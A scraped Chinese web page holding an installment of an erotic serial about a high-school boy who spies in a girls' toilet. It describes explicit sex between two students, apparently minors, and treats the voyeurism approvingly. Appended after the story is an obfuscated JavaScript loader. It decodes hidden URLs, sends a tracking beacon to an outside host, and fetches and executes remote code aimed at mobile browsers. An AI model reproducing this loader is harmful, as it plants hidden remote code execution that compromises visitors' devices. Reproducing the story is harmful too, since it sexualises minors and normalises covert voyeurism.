热搜排行
学校偷窥的两年间(3)
将爱理放在后门的台阶上,我急急忙忙地从角落抽出长长的水管、试着找到水龙头,却又因为太紧张,一下子水开太大,喷的满身都是。我试着减小水量、把管子拉到爱理坐的地方。

「会有点痛、忍一下……」

我脱下爱理右脚的鞋袜,开始用水清洗伤口的部位,爱理忍着痛,又掉出了好些眼泪。

「……这样应该就没问题了……很快就会好了……」

仔细用从不远的便利商店买来的碘酒清乾净爱理的伤口,再盖上纱布,用医用胶带固定好。应该不久就会痊癒的。

「对不起……一定很痛吧?」虽然不知道详情,爱理总是因为要跟我说话才摔伤的,我边收拾着爱理脚边的医疗用具边说。

「我也……对不起……」爱理小声地说。

「我……对不起……对不起……」

爱理居然跟我道歉,不知道是受宠若惊还是被感动了,我不由自主的抱住了爱理。

不过,沸腾的是慾望之外的情感。


「没有关係的……我没关係的……」

用一只手轻轻梳弄着爱理的及肩长髮,抱着爱理的左臂又紧了一紧。

没想到抱住爱理反而让爱理双眼涌出了更多的泪水,这时我除了抱紧她、也想不到其他的方法。一阵子之后,爱理的情绪似乎稍微稳定了下来,放鬆了紧抓住我双肩的手,望着我的脸,用手指向后草坪比了一下。

「抱我过去……」

或许是刚哭过吧,爱理的眼睛在蒙的光线下显得好生动,像水一般波纹不断地流转着。当然我就将爱理抱了起来,轻轻放在草坪上。

「坐这里……」爱理拍拍右手旁的草皮,示意要我坐下。

「呃……」我不知道应该说什么。

「要是留下疤痕的话……怎么办?」爱理将右腿伸过来,白色的纱布在夜光之下显得特别地明显「不会的,已经仔细包扎好了,会跟以前一样漂亮的。」

「……能够像这边一样吗?」

爱理又将左腿也伸了过来,用手轻抚着小腿,我忍不住低下头去吻了吻左边的小腿。

「会的……会好的……就像这里一样漂亮。」

「啊!我真高兴……」

爱理用两只手绕着住我的脖子,不断地亲着我脸上的每一个地方,又拿掉我的眼镜、在我眼睛上不断地亲着,我发觉爱理的身体不但比平常更激动,而且还带着一股前所未有的情绪在蠕动着,回应她的吻,我用更坚实的力量将她搂在怀里,採取主动,而爱理也配合着我的动作,仰着脖子抱紧我。

「嗯……嗯……」

对着被嘴唇封住,说不出话的爱理,我慢慢地一个个解开她制服上的扣子、伸手到爱理的背后解开胸罩的扣子,让没有肩带的可爱纯白胸罩落在平坦光滑的小腹上,再将制服往两边打开,让两个饱满充满弹性的乳房在月光下散发着真珠般的光泽。


「啊……漂亮吗?喜欢的话就亲吧……」

「喜欢啊……太美了啊!」

爱理主动地将一边乳房塞在我的嘴里,用双手用力地压紧我的头,除了轻舔之外,我不时的也用牙齿轻轻咬着已经因为兴奋而微微突起的乳头,并且用双手玩弄着乳房,让两个乳房不断地在手中变幻出奇妙的形状。

「太好了……爱理的乳房……」

「啊……还要用力……」

随着我的动作,爱理身体的弓起程度越来越厉害,简直像是要把腰折断一样地向上挺起,突然爱理的身体一阵颤抖,我知道那是爱理的高潮要来了,没想到只有这样也能让爱理得到高潮。

「爱理……」

没有得到回答,为了不碰到她的伤口,我又将还沈浸在余韵里的爱理放倒在草坪上,坐在她的旁边。再次按了手上手錶的冷光显示键,23︰20。

「来这里已经四年多了……」

爱理将脸转过来,仍然敞开上衣躺在地上,第一次跟我提及家里的状况。

「为了要念个好国中、好高中、好大学,爸妈把我们姊妹送来这……」

「那真是辛苦啊……」

「每次只有过年或者寒暑假才会回家……南部的家。」

「爱理的父母都在工作吗?」

「嗯……爸爸在纽西兰,妈妈在南部有工作。」


「那岂不是四分五裂了?」我心理这样的想,不过反观我们家,虽然大家都住在一起,可是爸妈简直像两个房客一般,要听得到他们的对话可能只有在每年要合併报税的时候吧……这跟分居有差吗?

「虽然大家的感情都很好,可是毕竟在一起的时间太少了……姊姊虽然跟我住一起,可是现在上大学就很少在家了……」

虽然很想说出「你现在有我会陪你」这类的话,不过毕竟我又不是爱理的男朋友,要说出来还真不太容易。

「高中也过得很无聊,大家都在比成绩……」

这倒是,虽然我的成绩还算不错,可以在二流的国立大学程度间游蕩,但是比起常常是班上前三名、第一第二志愿的爱理是差多了。连我都多少感受到同学间互相较劲的紧张感,更别说是许多人打倒的目标的爱理了。

「不过幸好……」

「?」

「有你这个笨蛋给我抓住了把柄……」说到这,爱理的脸上露出了笑意,笑咪咪地盯着我看︰「其实啊……我早就知道你躲在厕所偷窥了。」

「啊!?」

「有一天我无意间发现你鬼鬼祟祟地从女厕跑出来,我就怀疑上了。」

「咦?我应该很小心了啊……」

「你只是不知道螳螂捕蝉、黄雀在后……后来我又偷偷注意了好几次,确定你是跑来偷窥的。」

「难道……」

「那次是我特别準备好的……就知道你这大色狼会中计。」说着又用力地捏了一下我的大腿。

「你……」

「结果你就真的中计啦,真想让你自己看看你自己被抓到那时候的脸,简直像世界末日……」

「好啊你……居然敢陷害我!」

也没想到是自己太不小心才被抓,现在被爱理说出来,真有点啼笑皆非的感觉。

「你还敢说……要不是你碰到我……现在大概已经被退学了吧?」

「……这么说,我还要多多感谢你了?」

「其实你已经让我值回票价了,一场春宫秀就能让你服服贴贴。」爱理脸上又出现了那种狡狯的恶作剧笑容。

「唉……算了……我认输了……碰到你这种……」

五味杂陈,是我现在心情的最佳写照。

「喂……」

「嗯……?」

还没听见爱理说什么,从前门远处传来了低鸣的引擎声,随着引擎声靠近,爱理家的车库铁门开始发出声音捲动着。

「姊姊回来了……」

「赶快整理一下……把衣服穿好……」

我们两人急忙整理着自己淩乱的衣服,虽然刚才被淋湿的地方还没乾,不过也顾不得了,稍事整理之后,走到前门的我们刚好跟爱理的姐姐打了照面。

「爱理?」

大概是想问怎么还在外面吧,不过爱理的姊姊马上就注意到了爱理右腿上的纱布。

「怎么了……受伤了?」

「我、我在学校摔了一下,请朋友骑车送我回来,可是又忘了带钥匙……」

真快,随便也可以编出一套理由。

「不严重吧?」

「嗯,只是一点小擦伤。」

「这位同学,真是谢谢你了,还送爱理回家……」

虽然嘴巴上说着感谢的话,不过总觉得爱理的姊姊是用种怪异的眼光在我身上扫来扫去。当然,这时我的「卖相」也相当的差,右边上衣跟裤腿几乎全是湿的,又因此刚才忙了一阵,头髮也乱糟糟的,会被用奇怪的眼神打量也是必然的事。

「我来介绍,这是我姊惠理,这是我同学冯亦真。」看出气氛有点尴尬,爱理急着打破僵局。

「姊你先进去吧,不要锁门,我送他到巷子口。」

「那你自己小心。」

没说太多话,大姊消失在台阶上的房子大门后,而爱理则慢慢走下台阶到我这来,于是我推着车跟爱理走到不远处的巷子口,而爱理先停了下来。拉了拉我的袖子。

「喂……」

「嗯?」

「喜欢我吗?」爱理小小声的问,虽然不知道我的答案,但是爱理眼中闪烁着期待的光芒。

「嗯……」

「大声一点……」

「我最喜欢爱理了……」我把嘴巴贴近爱理的耳朵轻轻地说。或许这是她想要的答案吧……不过确实现在我心中也是这样想的。

「谢谢……」

爱理轻声说完之后,浅浅地在我脸颊上一吻,便转头直直走回巷子里了,倒是留下我在原地又呆了好久,我又看了看手錶,00︰06。

第八回︰燃烧

「早。」

「早。」

「帮我拿一罐咖啡……」

现在早上,在早自习开始前的时间,爱理会跟我一起去学校地下室的福利社买些早餐,偶尔下课碰到也会顺口聊聊。当然,每天中午的「约会」仍然继续,我似乎从「玩具」稍稍往前进了几步。

「喂……今天中午在校史室……」

小小声跟我「预定」以后,爱理加快脚步走回了她的教室,虽然每天中午仍然不断见面,不过除了狂乱的性爱以外,现在有时我们也能平静地在校史室里享用冷气与午餐。而我的两面人格却没有因此被「中和」,反倒是外表看起来越来越道貌岸然,内里却不断地燃烧着狂气的火焰。

『今天又是在校史室……』

中午,我拿着便当走在前往校史室的路上,最近显然与爱理的会面比较多在校史室,当然女厕仍然是个好地方,不过身为女生,爱理可能不太有办法领会偷窥女厕的刺激所在,毕竟还是校史室比较大、又比较安全,比起躲在女厕隔间,在校史室里作爱被发现的机率是小得多了,而且不会落到一个「偷窥」的罪名。

「呼……好凉。」

因为一早就已经先来这里把冷气打开,所以当我打开校史室的门锁、推开门的时候,一股凉气便直扑我而来,在高湿度的亚热带台湾、这股清爽的风真是像宝物一样。看看手錶,才十二点零五分。

『多少进行一点……』

毕竟工作进度不能一直原地踏步,我鬆开用童军绳绑牢的一大堆画筒,每个画筒里都是整个模型各部份的蓝图,足足有三、四十张的蓝图装满了八个大型画筒。为了带回家赶工方便,我用五、六条童军绳将画筒捆在一起,以方便带上机车,利用在家的时候赶工,多少赶了一些因为爱理而用掉的中午时间。

「喀喀、喀、喀喀……」

正当我好不容易摊平其中一张图纸的时候,爱理就来了,真準。

「你有买午餐吗?」

「没有,我没有吃午餐的习惯啊,你有看我常常吃午餐吗?」

「嗯……那这个给你。」爱理从手上的布提袋里先拿出了一个塑胶饭盒,再从里面拿出一个绿色的微波盒塞到我手里。

「这是……?」

「打开来看看啊。」

盒子里是两个小小的三明治,虽然体积不大,但是却有好几层,各式各样的生菜、洋葱、火腿、培根、起士………

「早上多做了,就给你好了。」

爱理转过头,开始享用自己的午餐。

『喂喂……七点半要到学校,作公车来至少要六点起床,哪来的时间做早点啊?』

再探头看看,爱理饭盒菜式里居然是正统的中国菜,这三明治哪像是「早上多做的」啊?当了学生这么久,还是第一次吃到手制的午餐,虽然妈妈有相当不错的手艺,但是除了週末外是没机会尝到的,从小学开始我就是吃学校便当长大的,上了高中以后,更是几乎不吃中餐。

「……谢谢……」

我想我现在,大概有点像被丢了根肉骨头的宠物犬吧。不管了,三两口就解决了三明治,继续回到工作台上。

「咦……你不是这礼拜在家都有赶进度吗……还那么用功?」

吃完饭的爱理掂着脚从我的背后看着工作台,饱满的乳房就这样压在我的背上,即使是隔着衣服,我仍然像被电到一样。

「还不都是你……每天都来……」

「……你这色鬼,自己造的孽,还敢说~~」说完,爱理就从背后紧紧抱着我,用脸在我的背上磨着。

「喂……」

「?」

「来做爱吧……」

当然我是没有办法拒绝的,很快地、两个人的身上都只剩下鞋袜了。

「不要动……就站在这里……」

发出命令的是我,很奇怪,无论是平常或是在其他地方做爱,爱理总是握有主导权,唯有在校史室,似乎爱理特别地听话,我命令的次数也特别多,现在爱理便直直地站在房间里,任我欣赏。

「爱理的身体真漂亮……」
猜你喜欢下面这些
function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};